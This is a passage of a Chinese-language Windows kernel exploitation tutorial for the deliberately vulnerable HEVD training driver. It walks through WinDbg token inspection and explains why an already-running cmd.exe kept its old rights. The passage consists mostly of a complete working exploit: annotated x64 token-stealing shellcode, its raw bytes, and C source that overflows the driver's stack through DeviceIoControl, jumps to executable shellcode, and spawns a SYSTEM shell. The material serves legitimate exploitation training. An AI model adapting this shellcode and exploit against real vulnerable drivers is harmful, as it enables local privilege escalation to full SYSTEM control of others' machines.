+0x0f8 Token : _EX_FAST_REF
+0x0fc WorkingSetPage : 0x3549e
...
+0x2bc TimerResolutionStackRecord : (null)
kd> dt _EX_FAST_REF 99bfc158+f8
ntdll!_EX_FAST_REF
+0x000 Object : 0xa83f1535 Void
+0x000 RefCnt : 0y101
+0x000 Value : 0xa83f1535
kd> dt _TOKEN 0xa83f1530
nt!_TOKEN
+0x000 TokenSource : _TOKEN_SOURCE
+0x010 TokenId : _LUID
+0x018 AuthenticationId : _LUID
+0x020 ParentTokenId : _LUID
+0x028 ExpirationTime : _LARGE_INTEGER 0x7fffffff`ffffffff
+0x030 TokenLock : 0x99bfef60 _ERESOURCE
+0x034 ModifiedId : _LUID
+0x040 Privileges : _SEP_TOKEN_PRIVILEGES
+0x058 AuditPolicy : _SEP_AUDIT_POLICY
+0x074 SessionId : 1
+0x078 UserAndGroupCount : 0xd
+0x07c RestrictedSidCount : 0
+0x080 VariableLength : 0x198
+0x084 DynamicCharged : 0x400
+0x088 DynamicAvailable : 0
+0x08c DefaultOwnerIndex : 0
+0x090 UserAndGroups : 0xa83f170c _SID_AND_ATTRIBUTES
+0x094 RestrictedSids : (null)
+0x098 PrimaryGroup : 0x9cf3c318 Void
+0x09c DynamicPart : 0x9cf3c318 -> 0x501
+0x0a0 DefaultDacl : 0x9cf3c334 _ACL
+0x0a4 TokenType : 1 ( TokenPrimary )
+0x0a8 ImpersonationLevel : 0 ( SecurityAnonymous )
+0x0ac TokenFlags : 0x2a00
+0x0b0 TokenInUse : 0x1 ''
+0x0b4 IntegrityLevelIndex : 0xc
+0x0b8 MandatoryPolicy : 3
+0x0bc LogonSession : 0x9f3b14c0 _SEP_LOGON_SESSION_REFERENCES
+0x0c0 OriginatingLogonSession : _LUID
+0x0c8 SidHash : _SID_AND_ATTRIBUTES_HASH
+0x150 RestrictedSidHash : _SID_AND_ATTRIBUTES_HASH
+0x1d8 pSecurityAttributes : 0x9aac6f50 _AUTHZBASEP_SECURITY_ATTRIBUTES_INFORMATION
+0x1dc VariablePart : 0xa83f1774
可以发现,我并没有成功替换cmd
的token
,但是汇编代码明明完成了token
替换,为啥没有成功呢,难道真的是shellcode
的问题吗?
这次下一个断点,一步一步调试shellcode
调试到这里,正常我们已经成功替换了token
,按照上面的步骤再看一下cmd
的token
情况,可以发现依然没有提权成功。没有提权成功的原因是因为我们忽视了一个隐含进程BufferOverflowStack.exe
,来看一下这个进程的信息
kd> dt _EPROCESS 886e7030 ; BufferOverflowStack.exe process
ntdll!_EPROCESS
...
+0x0f4 ObjectTable : 0xa936fba0 _HANDLE_TABLE
+0x0f8 Token : _EX_FAST_REF
+0x0fc WorkingSetPage : 0x340f7
...
+0x2bc TimerResolutionStackRecord : (null)
kd> dt _EX_FAST_REF 886e7030+f8
ntdll!_EX_FAST_REF
+0x000 Object : 0x8d4012c5 Void
+0x000 RefCnt : 0y101
+0x000 Value : 0x8d4012c5
kd> dt _TOKEN 0x8d4012c0
nt!_TOKEN
+0x000 TokenSource : _TOKEN_SOURCE
+0x010 TokenId : _LUID
+0x018 AuthenticationId : _LUID
+0x020 ParentTokenId : _LUID
+0x028 ExpirationTime : _LARGE_INTEGER 0x06207526`b64ceb90
+0x030 TokenLock : 0x86946490 _ERESOURCE
+0x034 ModifiedId : _LUID
+0x040 Privileges : _SEP_TOKEN_PRIVILEGES
+0x058 AuditPolicy : _SEP_AUDIT_POLICY
+0x074 SessionId : 0
+0x078 UserAndGroupCount : 5
+0x07c RestrictedSidCount : 0
+0x080 VariableLength : 0x70
+0x084 DynamicCharged : 0x400
+0x088 DynamicAvailable : 0
+0x08c DefaultOwnerIndex : 1
+0x090 UserAndGroups : 0x8d40149c _SID_AND_ATTRIBUTES
+0x094 RestrictedSids : (null)
+0x098 PrimaryGroup : 0x8d401258 Void
+0x09c DynamicPart : 0x8d401258 -> 0x101
+0x0a0 DefaultDacl : 0x8d401264 _ACL
+0x0a4 TokenType : 1 ( TokenPrimary )
+0x0a8 ImpersonationLevel : 0 ( SecurityAnonymous )
+0x0ac TokenFlags : 0x2000
+0x0b0 TokenInUse : 0x1 ''
+0x0b4 IntegrityLevelIndex : 4
+0x0b8 MandatoryPolicy : 1
+0x0bc LogonSession : 0x8d401648 _SEP_LOGON_SESSION_REFERENCES
+0x0c0 OriginatingLogonSession : _LUID
+0x0c8 SidHash : _SID_AND_ATTRIBUTES_HASH
+0x150 RestrictedSidHash : _SID_AND_ATTRIBUTES_HASH
+0x1d8 pSecurityAttributes : 0x8d401570 _AUTHZBASEP_SECURITY_ATTRIBUTES_INFORMATION
+0x1dc VariablePart : 0x8d4014c4
kd> !token 0x8d4012c0
_TOKEN 0xffffffff8d4012c0
TS Session ID: 0
User: S-1-5-18
User Groups:
00 S-1-5-32-544
Attributes - Default Enabled Owner
01 S-1-1-0
Attributes - Mandatory Default Enabled
02 S-1-5-11
Attributes - Mandatory Default Enabled
03 S-1-16-16384
Attributes - GroupIntegrity GroupIntegrityEnabled
Primary Group: S-1-5-18
Privs:
02 0x000000002 SeCreateTokenPrivilege Attributes -
03 0x000000003 SeAssignPrimaryTokenPrivilege Attributes -
04 0x000000004 SeLockMemoryPrivilege Attributes - Enabled Default
05 0x000000005 SeIncreaseQuotaPrivilege Attributes -
07 0x000000007 SeTcbPrivilege Attributes - Enabled Default
08 0x000000008 SeSecurityPrivilege Attributes -
09 0x000000009 SeTakeOwnershipPrivilege Attributes -
10 0x00000000a SeLoadDriverPrivilege Attributes -
11 0x00000000b SeSystemProfilePrivilege Attributes - Enabled Default
12 0x00000000c SeSystemtimePrivilege Attributes -
13 0x00000000d SeProfileSingleProcessPrivilege Attributes - Enabled Default
14 0x00000000e SeIncreaseBasePriorityPrivilege Attributes - Enabled Default
15 0x00000000f SeCreatePagefilePrivilege Attributes - Enabled Default
16 0x000000010 SeCreatePermanentPrivilege Attributes - Enabled Default
17 0x000000011 SeBackupPrivilege Attributes -
18 0x000000012 SeRestorePrivilege Attributes -
19 0x000000013 SeShutdownPrivilege Attributes -
20 0x000000014 SeDebugPrivilege Attributes - Enabled Default
21 0x000000015 SeAuditPrivilege Attributes - Enabled Default
22 0x000000016 SeSystemEnvironmentPrivilege Attributes -
23 0x000000017 SeChangeNotifyPrivilege Attributes - Enabled Default
25 0x000000019 SeUndockPrivilege Attributes -
28 0x00000001c SeManageVolumePrivilege Attributes -
29 0x00000001d SeImpersonatePrivilege Attributes - Enabled Default
30 0x00000001e SeCreateGlobalPrivilege Attributes - Enabled Default
31 0x00000001f SeTrustedCredManAccessPrivilege Attributes -
32 0x000000020 SeRelabelPrivilege Attributes -
33 0x000000021 SeIncreaseWorkingSetPrivilege Attributes - Enabled Default
34 0x000000022 SeTimeZonePrivilege Attributes - Enabled Default
35 0x000000023 SeCreateSymbolicLinkPrivilege Attributes - Enabled Default
Authentication ID: (0,3e7)
Impersonation Level: Anonymous
TokenType: Primary
Source: *SYSTEM* TokenFlags: 0x2000 ( Token in use )
Token ID: 3ea ParentToken ID: 0
Modified ID: (0, 3eb)
RestrictedSidCount: 0 RestrictedSids: 0x0000000000000000
OriginatingLogonSession: 0
对比一下system
的token,可以发现,成功替换了。
至此,终于可以解释为什么cmd.exe
没有提权成功了,因为我们提权的是BufferOverflowStack.exe
进程,老的cmd.exe
不是BufferOverflowStack.exe
启动,所以它不继承BufferOverflowStack.exe
的system
权限,只有BufferOverflowStack.exe
拉起来的进程才具有真正的system
权限。如果你的新cmd.exe
不是BufferOverflowStack.exe
拉起来的,那必然也就会产生我上面的困扰,而且特别不容易发现其中的原因
x64
在栈溢出上,64
位和32
位差别不大,首先通过poc
确定栈溢出的长度,之后利用适用于64
位的exp
即可
添加注释版本shellcode
; Start of Token Stealing Stub
xor rax, rax ; get ZERO
mov rax, QWORD PTR gs:[rax + 0x188] ; get nt!_KPCR.PcrbData.CurrentThread
; _KTHREAD is located at GS : [0x188]
mov rax, [rax + 0x70] ; get nt!_KTHREAD.ApcState.Process
mov rcx, rax ; Copy current process _EPROCESS structure
mov rdx, 4 ; WIN 7 SP1 SYSTEM process PID = 0x4
SearchSystemPID:
mov rax, [rax + 0x188] ; Get nt!_EPROCESS.ActiveProcessLinks.Flink
sub rax, 0x188
cmp [rax + 0x180], rdx ; Get nt!_EPROCESS.UniqueProcessId
jne SearchSystemPID
mov rdx, [rax + 208h] ; Get SYSTEM process nt!_EPROCESS.Token
mov [rcx + 208h], rdx ; Replace target process nt!_EPROCESS.Token
; with SYSTEM process nt!_EPROCESS.Token
去除注释版本,方便转化
xor rax, rax
mov rax, QWORD PTR gs:[rax + 0x188]
mov rax, [rax + 0x70]
mov rcx, rax
mov rdx, 4
SearchSystemPID:
mov rax, [rax + 0x188]
sub rax, 0x188
cmp [rax + 0x180], rdx
jne SearchSystemPID
mov rdx, [rax + 0x208]
mov [rcx + 0x208], rdx
add rsp, 0x28
ret
最终exp
的源码
#define _CRT_SECURE_NO_WARNINGS
#include <iostream>
#include <Windows.h>
#define handle_error(msg, error_code) \
do \
{ \
printf("%s with error code: %d\n", msg, error_code); \
} while (0);
void poc_x64()
{
do {
HANDLE hDevice;
// 2-bit unsigned integer. This is a flag field that indicates various access modes
// to use for creating and opening the file.
// This value SHOULD be set to 0xC0000000, meaning generic read and generic write
hDevice = CreateFileA(
/* LPCSTR lpFileName */ "\\\\.\\HackSysExtremeVulnerableDriver",
/* DWORD dwDesiredAccess */ 0xC0000000,
/* DWORD dwShareMode */ FILE_SHARE_READ | FILE_SHARE_WRITE,
/* LPSECURITY_ATTRIBUTES lpSecurityAttributes */ NULL,
/* DWORD dwCreationDisposition */ OPEN_EXISTING,
/* DWORD dwFlagsAndAttributes */ 0,
/* HANDLE hTemplateFile */ NULL);
if (hDevice == INVALID_HANDLE_VALUE)
{
handle_error("Open device failed!\n", GetLastError());
break;
}
DWORD dwReturnedBytes = 0;
UCHAR szInBuffer[] = "Aa0Aa1Aa2Aa3Aa4Aa5Aa6Aa7Aa8Aa9Ab0Ab1Ab2Ab3Ab4Ab5Ab6Ab7Ab8Ab9Ac0Ac1Ac2Ac3Ac4Ac5Ac6Ac7Ac8Ac9Ad0Ad1Ad2Ad3Ad4Ad5Ad6Ad7Ad8Ad9Ae0Ae1Ae2Ae3Ae4Ae5Ae6Ae7Ae8Ae9Af0Af1Af2Af3Af4Af5Af6Af7Af8Af9Ag0Ag1Ag2Ag3Ag4Ag5Ag6Ag7Ag8Ag9Ah0Ah1Ah2Ah3Ah4Ah5Ah6Ah7Ah8Ah9Ai0Ai1Ai2Ai3Ai4Ai5Ai6Ai7Ai8Ai9Aj0Aj1Aj2Aj3Aj4Aj5Aj6Aj7Aj8Aj9Ak0Ak1Ak2Ak3Ak4Ak5Ak6Ak7Ak8Ak9Al0Al1Al2Al3Al4Al5Al6Al7Al8Al9Am0Am1Am2Am3Am4Am5Am6Am7Am8Am9An0An1An2An3An4An5An6An7An8An9Ao0Ao1Ao2Ao3Ao4Ao5Ao6Ao7Ao8Ao9Ap0Ap1Ap2Ap3Ap4Ap5Ap6Ap7Ap8Ap9Aq0Aq1Aq2Aq3Aq4Aq5Aq6Aq7Aq8Aq9Ar0Ar1Ar2Ar3Ar4Ar5Ar6Ar7Ar8Ar9As0As1As2As3As4As5As6As7As8As9At0At1At2At3At4At5At6At7At8At9Au0Au1Au2Au3Au4Au5Au6Au7Au8Au9Av0Av1Av2Av3Av4Av5Av6Av7Av8Av9Aw0Aw1Aw2Aw3Aw4Aw5Aw6Aw7Aw8Aw9Ax0Ax1Ax2Ax3Ax4Ax5Ax6Ax7Ax8Ax9Ay0Ay1Ay2Ay3Ay4Ay5Ay6Ay7Ay8Ay9Az0Az1Az2Az3Az4Az5Az6Az7Az8Az9Ba0Ba1Ba2Ba3Ba4Ba5Ba6Ba7Ba8Ba9Bb0Bb1Bb2Bb3Bb4Bb5Bb6Bb7Bb8Bb9Bc0Bc1Bc2Bc3Bc4Bc5Bc6Bc7Bc8Bc9Bd0Bd1Bd2Bd3Bd4Bd5Bd6Bd7Bd8Bd9Be0Be1Be2Be3Be4Be5Be6Be7Be8Be9Bf0Bf1Bf2Bf3Bf4Bf5Bf6Bf7Bf8Bf9Bg0Bg1Bg2Bg3Bg4Bg5Bg6Bg7Bg8Bg9Bh0Bh1Bh2Bh3Bh4Bh5Bh6Bh7Bh8Bh9Bi0Bi1Bi2Bi3Bi4Bi5Bi6Bi7Bi8Bi9Bj0Bj1Bj2Bj3Bj4Bj5Bj6Bj7Bj8Bj9Bk0Bk1Bk2Bk3Bk4Bk5Bk6Bk7Bk8Bk9Bl0Bl1Bl2Bl3Bl4Bl5Bl6Bl7Bl8Bl9Bm0Bm1Bm2Bm3Bm4Bm5Bm6Bm7Bm8Bm9Bn0Bn1Bn2Bn3Bn4Bn5Bn6Bn7Bn8Bn9Bo0Bo1Bo2Bo3Bo4Bo5Bo6Bo7Bo8Bo9Bp0Bp1Bp2Bp3Bp4Bp5Bp6Bp7Bp8Bp9Bq0Bq1Bq2Bq3Bq4Bq5Bq6Bq7Bq8Bq9Br0Br1Br2Br3Br4Br5Br6Br7Br8Br9Bs0Bs1Bs2Bs3Bs4Bs5Bs6Bs7Bs8Bs9Bt0Bt1Bt2Bt3Bt4Bt5Bt6Bt7Bt8Bt9Bu0Bu1Bu2Bu3Bu4Bu5Bu6Bu7Bu8Bu9Bv0Bv1Bv2Bv3Bv4Bv5Bv6Bv7Bv8Bv9Bw0Bw1Bw2Bw3Bw4Bw5Bw6Bw7Bw8Bw9Bx0Bx1Bx2Bx3Bx4Bx5Bx6Bx7Bx8Bx9By0By1By2By3By4By5By6By7By8By9Bz0Bz1Bz2Bz3Bz4Bz5Bz6Bz7Bz8Bz9Ca0Ca1Ca2Ca3Ca4Ca5Ca6Ca7Ca8Ca9Cb0Cb1Cb2Cb3Cb4Cb5Cb6Cb7Cb8Cb9Cc0Cc1Cc2Cc3Cc4Cc5Cc6Cc7Cc8Cc9Cd0Cd1Cd2Cd3Cd4Cd5Cd6Cd7Cd8Cd9Ce0Ce1Ce2Ce3Ce4Ce5Ce6Ce7Ce8Ce9Cf0Cf1Cf2Cf3Cf4Cf5Cf6Cf7Cf8Cf9Cg0Cg1Cg2Cg3Cg4Cg5Cg6Cg7Cg8Cg9Ch0Ch1Ch2Ch3Ch4Ch5Ch6Ch7Ch8Ch9Ci0Ci1Ci2Ci3Ci4Ci5Ci6Ci7Ci8Ci9Cj0Cj1Cj2Cj3Cj4Cj5Cj6Cj7Cj8Cj9Ck0Ck1Ck2Ck3Ck4Ck5Ck6Ck7Ck8Ck9Cl0Cl1Cl2Cl3Cl4Cl5Cl6Cl7Cl8Cl9Cm0Cm1Cm2Cm3Cm4Cm5Cm6Cm7Cm8Cm9Cn0Cn1Cn2Cn3Cn4Cn5Cn6Cn7Cn8Cn9Co0Co1Co2Co3Co4Co5Co6Co7Co8Co9Cp0Cp1Cp2Cp3Cp4Cp5Cp6Cp7Cp8Cp9Cq0Cq1Cq2Cq3Cq4Cq5Cq6Cq7Cq8Cq9Cr0Cr1Cr2C";
if (!DeviceIoControl(hDevice, 0x222003, szInBuffer, sizeof(szInBuffer), NULL, 0, &dwReturnedBytes, NULL))
{
handle_error("DeviceIoControl failed!\n", GetLastError());
break;
}
else
{
printf("DeviceIoControl successfully.\n");
}
} while (0);
}
void exp_x64()
{
do {
HANDLE hDevice;
hDevice = CreateFileA(
/* LPCSTR lpFileName */ "\\\\.\\HackSysExtremeVulnerableDriver",
/* DWORD dwDesiredAccess */ 0xC0000000,
/* DWORD dwShareMode */ FILE_SHARE_READ | FILE_SHARE_WRITE,
/* LPSECURITY_ATTRIBUTES lpSecurityAttributes */ NULL,
/* DWORD dwCreationDisposition */ OPEN_EXISTING,
/* DWORD dwFlagsAndAttributes */ 0,
/* HANDLE hTemplateFile */ NULL);
if (hDevice == INVALID_HANDLE_VALUE)
{
handle_error("Open device failed!\n", GetLastError());
break;
}
UCHAR ulShellcode[] = { 0x48, 0x31, 0xC0, 0x65, 0x48, 0x8B, 0x80, 0x88, 0x01,
0x00, 0x00, 0x48, 0x8B, 0x40, 0x70, 0x48, 0x89, 0xC1,
0x48, 0xC7, 0xC2, 0x04, 0x00, 0x00, 0x00, 0x48, 0x8B,
0x80, 0x88, 0x01, 0x00, 0x00, 0x48, 0x2D, 0x88, 0x01,
0x00, 0x00, 0x48, 0x39, 0x90, 0x80, 0x01, 0x00, 0x00,
0x75, 0xEA, 0x48, 0x8B, 0x90, 0x08, 0x02, 0x00, 0x00,
0x48, 0x89, 0x91, 0x08, 0x02, 0x00, 0x00, 0x48, 0x83,
0xC4, 0x28, 0xC3 };
PVOID pEopPayload = VirtualAlloc(NULL, sizeof(ulShellcode), MEM_COMMIT | MEM_RESERVE, PAGE_EXECUTE_READWRITE);
if (pEopPayload == NULL)
{
handle_error("VirtualAlloc", GetLastError());
break;
}
RtlCopyMemory(pEopPayload, ulShellcode, sizeof(ulShellcode));
DWORD dwInBufferSize = 2072 + 8;
UCHAR* pInBuffer = (UCHAR*)HeapAlloc(GetProcessHeap(), HEAP_ZERO_MEMORY, dwInBufferSize * sizeof(UCHAR));
if (pInBuffer == NULL)
{
handle_error("HeapAlloc", GetLastError());
break;
}
RtlFillMemory(pInBuffer, 2072, 0x41); // x64
PVOID pShellcode = &pEopPayload;
PVOID *ppShellcode = &pEopPayload;
RtlCopyMemory(pInBuffer + 2072, ppShellcode, 8);
DWORD dwReturnedBytes = 0;
if (!DeviceIoControl(hDevice, 0x222003, (LPVOID)pInBuffer, dwInBufferSize, NULL, 0, &dwReturnedBytes, NULL))
{
handle_error("DeviceIoControl failed!\n", GetLastError());
break;
}
else
{
printf("DeviceIoControl successfully.\n");
system("cmd.exe");
}
if (pInBuffer != NULL)
HeapFree(GetProcessHeap(), 0, pInBuffer);
if (pEopPayload != NULL)
VirtualFree(pEopPayload, sizeof(ulShellcode), MEM_RELEASE);
} while (0);
}
int main()
{
exp_x64();
return 0;
}
需要注意的就是shellcode
中各个结构体在x64
位中的位置变化,如果不对的话,就需要不断一步一步调试shellcode
,看到底那一行汇编出问题了。这个过程只是比较繁琐,并不难。
结论
内核调试的难点在于繁琐,可能机器需要不停的重启,重启之后需要重新设置环境,启动服务,重新设置断点。需要比调试ring3
程序更耐心。如果觉得环境被破坏了,重启即可。
这部分exp
的编写主要的难点在于shellcode
,在实验过程中,建议不要直接使用hevd
提供的利用代码,可以尝试自己写,最多可以用一个shellcode
,这样的话收获要比直接用要多很多。
参考链接
Windows Kernel Exploitation Tutorial Part 2: Stack Overflow